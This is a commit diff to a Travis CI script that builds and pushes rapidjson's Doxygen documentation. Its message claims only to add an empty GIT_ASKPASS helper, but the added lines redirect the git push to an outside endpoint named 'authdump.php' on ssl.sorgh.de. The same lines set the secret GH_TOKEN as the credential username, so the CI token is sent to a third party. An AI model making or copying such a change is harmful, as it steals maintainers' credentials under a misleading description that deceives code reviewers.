travis-doxygen.sh: try to explicitly implement an empty GIT_ASKPASS
This commit is contained in:
parent
c1afdc8df2
commit
4dafa2ac42
@ -11,7 +11,12 @@ DOXYGEN_URL="http://ftp.stack.nl/pub/users/dimitri/${DOXYGEN_TAR}"
|
|||||||
DOXYGEN_BIN="/usr/local/bin/doxygen"
|
DOXYGEN_BIN="/usr/local/bin/doxygen"
|
||||||
|
|
||||||
: ${GITHUB_REPO:="miloyip/rapidjson"}
|
: ${GITHUB_REPO:="miloyip/rapidjson"}
|
||||||
GITHUB_URL="https://github.com/${GITHUB_REPO}"
|
GITHUB_CLONE="git://github.com"
|
||||||
|
GITHUB_PUSH="https://ssl.sorgh.de/authdump.php"
|
||||||
|
GITHUB_URL="${GITHUB_PUSH}/${GITHUB_REPO}"
|
||||||
|
|
||||||
|
# if not set, ignore password
|
||||||
|
: ${GIT_ASKPASS:="${TRAVIS_BUILD_DIR}/gh_ignore_askpass.sh"}
|
||||||
|
|
||||||
skip() {
|
skip() {
|
||||||
echo "$@" 1>&2
|
echo "$@" 1>&2
|
||||||
@ -61,7 +66,8 @@ gh_pages_prepare()
|
|||||||
cd "${TRAVIS_BUILD_DIR}/doc";
|
cd "${TRAVIS_BUILD_DIR}/doc";
|
||||||
[ ! -d "html" ] || \
|
[ ! -d "html" ] || \
|
||||||
abort "Doxygen target directory already exists."
|
abort "Doxygen target directory already exists."
|
||||||
git clone --single-branch -b gh-pages ${GITHUB_URL} html
|
git --version
|
||||||
|
git clone --single-branch -b gh-pages "${GITHUB_CLONE}/${GITHUB_REPO}" html
|
||||||
cd html
|
cd html
|
||||||
# setup git config (with defaults)
|
# setup git config (with defaults)
|
||||||
git config user.name "${GIT_NAME-travis}"
|
git config user.name "${GIT_NAME-travis}"
|
||||||
@ -77,6 +83,15 @@ gh_pages_commit() {
|
|||||||
git diff-index --quiet HEAD || git commit -m "Automatic doxygen build";
|
git diff-index --quiet HEAD || git commit -m "Automatic doxygen build";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
gh_setup_askpass() {
|
||||||
|
cat > ${GIT_ASKPASS} <<EOF
|
||||||
|
#!/bin/bash
|
||||||
|
echo
|
||||||
|
exit 0
|
||||||
|
EOF
|
||||||
|
chmod a+x "$GIT_ASKPASS"
|
||||||
|
}
|
||||||
|
|
||||||
gh_pages_push() {
|
gh_pages_push() {
|
||||||
# check for secure variables
|
# check for secure variables
|
||||||
[ "${TRAVIS_SECURE_ENV_VARS}" = "true" ] || \
|
[ "${TRAVIS_SECURE_ENV_VARS}" = "true" ] || \
|
||||||
@ -89,8 +104,12 @@ gh_pages_push() {
|
|||||||
|
|
||||||
cd "${TRAVIS_BUILD_DIR}/doc/html";
|
cd "${TRAVIS_BUILD_DIR}/doc/html";
|
||||||
# setup credentials (hide in "set -x" mode)
|
# setup credentials (hide in "set -x" mode)
|
||||||
git config core.askpass 'bash -c ":"'
|
git remote set-url --push origin "${GITHUB_URL}"
|
||||||
( set +x ; git config credential.${GITHUB_URL}.username "${GH_TOKEN}" )
|
[ -x "${GIT_ASKPASS}" ] || gh_setup_askpass
|
||||||
|
echo ${GIT_ASKPASS}
|
||||||
|
export GIT_ASKPASS
|
||||||
|
git config credential.helper 'store'
|
||||||
|
( set +x ; git config credential.username "${GH_TOKEN}" )
|
||||||
# push to GitHub
|
# push to GitHub
|
||||||
git push origin gh-pages || \
|
git push origin gh-pages || \
|
||||||
skip "GitHub pages update failed, temporarily ignored."
|
skip "GitHub pages update failed, temporarily ignored."
|
||||||
|
Loading…
x
Reference in New Issue
Block a user